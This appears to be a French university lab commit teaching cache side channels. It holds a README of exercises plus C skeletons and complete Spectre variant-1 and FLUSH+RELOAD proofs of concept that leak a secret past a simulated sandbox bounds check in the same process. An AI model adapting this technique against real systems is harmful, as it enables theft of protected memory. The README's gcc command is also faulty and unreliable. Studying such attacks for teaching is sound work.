Skip to content
Snippets Groups Projects
Verified Commit f3e800a7 authored by Stephane Bonnet's avatar Stephane Bonnet
Browse files

Initial commit

parents
No related branches found
No related tags found
No related merge requests found
README.md 0 → 100644
# TD Vulnérabilités par canaux auxiliaires
## Introduction
Dans ce TD on va tenter de réaliser une attaque type 'Spectre' dans un environnement
contrôlé.
Cette attaque exploite une vulnérabilité matérielle présente dans de nombreux processeurs
et permet de passer outre l'isolation intra et inter processus. Comme il s'agit d'une vulnérabilité
matérielle liée au design et au principe de fonctionnement des processeurs, il est assez difficile de
s'en défendre, même si les fabricants de CPU y travaillent.
## Ce qu'on va voir
* Caches CPU
* Exécution 'out-of-order' et prédiction de branchement dans les CPU
* Exploitation du cache comme canal auxiliaire
* Vulnérabilité Spectre
## Compilation des codes
Tous les codes devront être compilés comme suit:
```code bash
gcc -mach=native -o <binaire> -c <fichier.c>
```
## Utilisation du cache comme canal auxiliaire
Meltdown et Spectre utilisent le cache comme canal auxiliaire pour révéler un secret protégé. La technique utilisée est
dite FLUSH + RELOAD (vidage et rechargement). On va étudier cette technique en premier.
### Fonctions utiles
* Vider une ligne de cache : `_mm_clflush` ([doc intel](https://software.intel.com/sites/landingpage/IntrinsicsGuide/#text=_mm_clflush))
* Lire le timestamp CPU : `__rdtscp` ([doc intel](https://software.intel.com/sites/landingpage/IntrinsicsGuide/#text=__rdtscp))
### Etape 1 : mesure du temps d'accès au cache
Fichier à compiler : `cachetime.c`
Complétez cachetime.c pour mesurer les différences de temps d'accès entre des données dans le cache et hors cache.
Exécutez le programme une dizaine de fois, en déduire un seuil approximatif qui différencie ces deux temps d'accès.
On se servira de ce seuil pour déterminer si une donnée est dans le cache ou non.
### Etape 2 : le cache comme canal auxiliaire
Fichier à compléter / compiler : `flushreload.c`
L'idée est d'utiliser le temps d'accès au cache pour révéler un secret.
On suppose une fonction `victim` qui utilise le secret comme index pour accéder à un tableau. Ce secret est
supposé inaccessible. La technique qu'on utilise pour révéler le secret manipulé par `victim` est appelée FLUSH+RELOAD.
1. Vider complètement le tableau de la mémoire cache
2. Appeler la victime. Cette action provoque le chargement dans le cache d'une ligne qui dépend du secret
3. Recharger le tableau dans le cache et mesurer le temps de rechargement de chaque élément. Si le temps est court, l'élément était déjà dans le cache et c'est cet élément que la victime a utilisé : on connait alors le secret.
* Complétez `flushreload.c`
* Pourquoi pas simplement `array[256]` ?
* Pourquoi utiliser un décalage (rôle de `DELTA`) ?
* Est ce que la technique est fiable à 100% ? Pourquoi ?
## Exécution dans le désordre
Fichier à compléter / compiler : `spectreexperiment.c`
Spectre repose sur l'exécution dans le désordre, qui est une optimisation importante utilisée dans tous les CPU modernes
pour maximiser le taux d'utilisation de ses unités de calcul (et donc maximiser les performances d'exécution).
### Etape 3
1. Exécuter le programme (plusieurs fois). Qu'observez-vous ?
2. Ligne 67, remplacer par "`victim(i+20);`". Que se passe-t-il ? Pourquoi ? Remettez le code initial.
3. Commentez les lignes 66 et 71 (flush de size). Est-ce que l'attaque fonctionne toujours ? Pourquoi ?
4. Décommentez les lignes 66 et 71.
## Attaque 'Spectre'
Fichier à compléter / compiler : `spectreattack.c`
Dans ce code, on suppose une fonction `restrictedAccess` qui permet l'accès à un buffer limité pour simuler une sandbox.
Le secret est en dehors de la sandbox. L'accès au secret n'est possible qu'au travers de la fonction `restrictedAccess`
(c'est à dire qu'on a pas le droit de le lire directement). Le but est d'afficher le secret.
### Etape 4
1. Exécutez le programme et déterminez si vous êtes capable de déterminer la valeur secrète. Pourquoi le résultat n'est
pas fiable ? Exécutez le programme un nombre suffisant de fois pour être sûr du secret.
### Etape 5 : amélioration de la fiabilité de l'attaque.
Fichier à compléter / compiler : `spectreattackimproved.c`
L'idée est d'automatiser la répétition de l'attaque et de maintenir un tableau de scores pour chaque succès de cache.
C'est une approche statistique. Le secret est supposé être la valeur pour laquelle on a eu le plus de succès de cache.
1. Exécutez le programme. Qu'observez vous ?
2. Comment faire pour que le programme trouve réellement le secret qui n'est définitivement pas 0 ?
### Etape 6 : détermination de tout le secret.
Modifiez `spectreattackimproved.c` pour qu'elle retourne tout le secret (toute la chaîne de caractère).
#include <emmintrin.h>
#include <x86intrin.h>
#include <stdio.h>
#include <stdint.h>
// Tableau en mémoire
uint8_t array[10 * 4096];
int main(int argc, const char **argv)
{
int junk = 0;
register uint64_t time1, time2;
volatile uint8_t *addr;
int i;
// Initialiser la mémoire : force le tableau à être alloué
for (i = 0; i < 10; i++)
array[i * 4096] = 1;
// Vider le tableau du cache
for (i = 0; i < 10; i++) {
// TODO Vidage d'une ligne de cache
}
// TODO Accéder à quelques éléments de array
// Mesurer les temps d'accès
for (i = 0; i < 10; i++)
{
addr = &array[i * 4096];
// TODO prendre le timestamp CPU avant lecture
junk = *addr;
// TODO calculer le temps écoulé dans time2
printf("Temps d'accès à array[%d * 4096]: %ld cycles CPU.\n", i, time2);
}
return 0;
}
\ No newline at end of file
#include <emmintrin.h>
#include <x86intrin.h>
#include <stdio.h>
#include <stdint.h>
uint8_t array[256 * 4096];
volatile int temp;
char secret = 94;
// Seuil de temps d'accès considéré comme un succès de cache
#define CACHE_HIT_THRESHOLD (80)
#define DELTA 1024
// Partie 'FLUSH'
void flushSideChannel()
{
int i;
// Ecrire dans le tableau pour forcer l'allocation en RAM (allocation copy-on-write)
for (i = 0; i < 256; i++)
array[i * 4096 + DELTA] = 1;
// Supprimer le tableau du cache
for (i = 0; i < 256; i++)
_mm_clflush(&array[i * 4096 + DELTA]);
}
// Partie 'RELOAD'
void reloadSideChannel()
{
int junk = 0;
register uint64_t time1, time2;
volatile uint8_t *addr;
int i;
for (i = 0; i < 256; i++) {
addr = &array[i * 4096 + DELTA];
time1 = __rdtscp(&junk);
junk = *addr;
time2 = __rdtscp(&junk) - time1;
// TODO comment savoir que la donnée est dans le cache ?
if (/* donnée dans le cache */) {
printf("array[%d*4096 + %d] est dans le cache.\n", i, DELTA);
printf("Le secret = %d.\n", i);
}
}
}
void victim()
{
temp = array[secret * 4096 + DELTA];
}
int main(int argc, const char **argv)
{
// TODO opération FLUSH
victim();
// TODO opération RELOAD
return 0;
}
#include <emmintrin.h>
#include <x86intrin.h>
#include <stdio.h>
#include <stdint.h>
#define CACHE_HIT_THRESHOLD (200)
#define DELTA 1024
unsigned int buffer_size = 10;
uint8_t buffer[10] = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9};
uint8_t temp = 0;
char *secret = "Some Secret Value";
uint8_t array[256 * 4096];
// Partie 'FLUSH'
void flushSideChannel()
{
int i;
// Ecrire dans le tableau pour forcer l'allocation en RAM (allocation copy-on-write)
for (i = 0; i < 256; i++)
array[i * 4096 + DELTA] = 1;
// Supprimer le tableau du cache
for (i = 0; i < 256; i++)
_mm_clflush(&array[i * 4096 + DELTA]);
}
// Partie 'RELOAD'
void reloadSideChannel()
{
int junk = 0;
register uint64_t time1, time2;
volatile uint8_t *addr;
int i;
for (i = 0; i < 256; i++) {
addr = &array[i * 4096 + DELTA];
time1 = __rdtscp(&junk);
junk = *addr;
time2 = __rdtscp(&junk) - time1;
if (time2 < CACHE_HIT_THRESHOLD) {
printf("array[%d*4096 + %d] est dans le cache.\n", i, DELTA);
printf("Le secret = %d.\n", i);
}
}
}
// Fonction 'sandbox'
uint8_t restrictedAccess(size_t x)
{
if (x < buffer_size) {
return buffer[x];
} else {
return 0;
}
}
void spectreAttack(size_t larger_x)
{
int i;
uint8_t s;
// Forcer le cpu à prédire le branchement qui permet l'accès à buffer dans restrictedAccess
for (i = 0; i < 10; i++) {
restrictedAccess(i);
}
// Vider le cache
_mm_clflush(&buffer_size);
for (i = 0; i < 256; i++)
{
_mm_clflush(&array[i * 4096 + DELTA]);
}
// Demander à restrictedAccess de retourner le secret
s = restrictedAccess(larger_x);
array[s * 4096 + DELTA] += 88;
}
int main()
{
flushSideChannel();
size_t larger_x = (size_t)(secret - (char *) buffer);
spectreAttack(larger_x);
reloadSideChannel();
return (0);
}
#include <emmintrin.h>
#include <x86intrin.h>
#include <stdio.h>
#include <stdint.h>
#define CACHE_HIT_THRESHOLD (145)
#define DELTA 1024
unsigned int buffer_size = 10;
uint8_t buffer[10] = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9};
uint8_t temp = 0;
char *secret = "Some Secret Value";
uint8_t array[256 * 4096];
// Partie 'FLUSH'
void flushSideChannel()
{
int i;
// Ecrire dans le tableau pour forcer l'allocation en RAM (allocation copy-on-write)
for (i = 0; i < 256; i++)
array[i * 4096 + DELTA] = 1;
// Supprimer le tableau du cache
for (i = 0; i < 256; i++)
_mm_clflush(&array[i * 4096 + DELTA]);
}
// RELOAD
static int scores[256];
void reloadSideChannelImproved()
{
int i;
volatile uint8_t *addr;
register uint64_t time1, time2;
int junk = 0;
for (i = 1; i < 256; i++) {
addr = &array[i * 4096 + DELTA];
time1 = __rdtscp(&junk);
junk = *addr;
time2 = __rdtscp(&junk) - time1;
if (time2 <= CACHE_HIT_THRESHOLD) {
scores[i]++; /* Si succès de cache, incrémenter le score pour cette valeur */
}
}
}
// fonction sandbox
uint8_t restrictedAccess(size_t x)
{
if (x < buffer_size) {
return buffer[x];
} else {
return 0;
}
}
void spectreAttack(size_t larger_x)
{
int i;
uint8_t s;
// Forcer le cpu à prédire le branchement qui permet l'accès à buffer dans restrictedAccess
for (i = 0; i < 10; i++) {
restrictedAccess(i);
}
// Vider le cache
_mm_clflush(&buffer_size);
for (i = 0; i < 256; i++)
{
_mm_clflush(&array[i * 4096 + DELTA]);
}
// Demander à restrictedAccess de retourner le secret
s = restrictedAccess(larger_x);
array[s * 4096 + DELTA] += 88;
}
int main()
{
int i;
uint8_t s;
size_t larger_x = (size_t)(secret - (char *)buffer);
flushSideChannel();
for (i = 0; i < 256; i++) {
scores[i] = 0;
}
for (i = 0; i < 1000; i++) {
flushSideChannel();
spectreAttack(larger_x);
reloadSideChannelImproved();
}
int max = 0;
for (i = 0; i < 256; i++) {
if (scores[max] < scores[i])
max = i;
}
printf("Lecture du secret à l'adresse %p = ", (void *)larger_x);
printf("Secret : %d\n", max);
printf("Le nombre de succès de cache est %ld\n", scores[max]);
return (0);
}
#include <emmintrin.h>
#include <x86intrin.h>
#include <stdio.h>
#include <stdint.h>
int size = 10;
uint8_t array[256 * 4096];
uint8_t temp = 0;
// TODO remplacer par la valeur appropriée
#define CACHE_HIT_THRESHOLD (80)
#define DELTA 1024
// Partie 'FLUSH'
void flushSideChannel()
{
int i;
// Ecrire dans le tableau pour forcer l'allocation en RAM (allocation copy-on-write)
for (i = 0; i < 256; i++)
array[i * 4096 + DELTA] = 1;
// Supprimer le tableau du cache
for (i = 0; i < 256; i++)
_mm_clflush(&array[i * 4096 + DELTA]);
}
// Partie 'RELOAD'
void reloadSideChannel()
{
int junk = 0;
register uint64_t time1, time2;
volatile uint8_t *addr;
int i;
for (i = 0; i < 256; i++) {
addr = &array[i * 4096 + DELTA];
time1 = __rdtscp(&junk);
junk = *addr;
time2 = __rdtscp(&junk) - time1;
if (time2 < CACHE_HIT_THRESHOLD) {
printf("array[%d*4096 + %d] est dans le cache.\n", i, DELTA);
printf("Le secret = %d.\n", i);
}
}
}
void victim(size_t x)
{
if (x < size) {
temp = array[x * 4096 + DELTA];
}
}
int main()
{
int i;
// FLUSH
flushSideChannel();
// Apprendre au CPU quelle branche est la plus probable dans la victime
for (i = 0; i < 10; i++) {
_mm_clflush(&size);
victim(i);
}
// Exploiter l'exécution dans le désordre
_mm_clflush(&size);
for (i = 0; i < 256; i++) {
_mm_clflush(&array[i * 4096 + DELTA]);
}
victim(97);
// RELOAD
reloadSideChannel();
return (0);
}
\ No newline at end of file
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment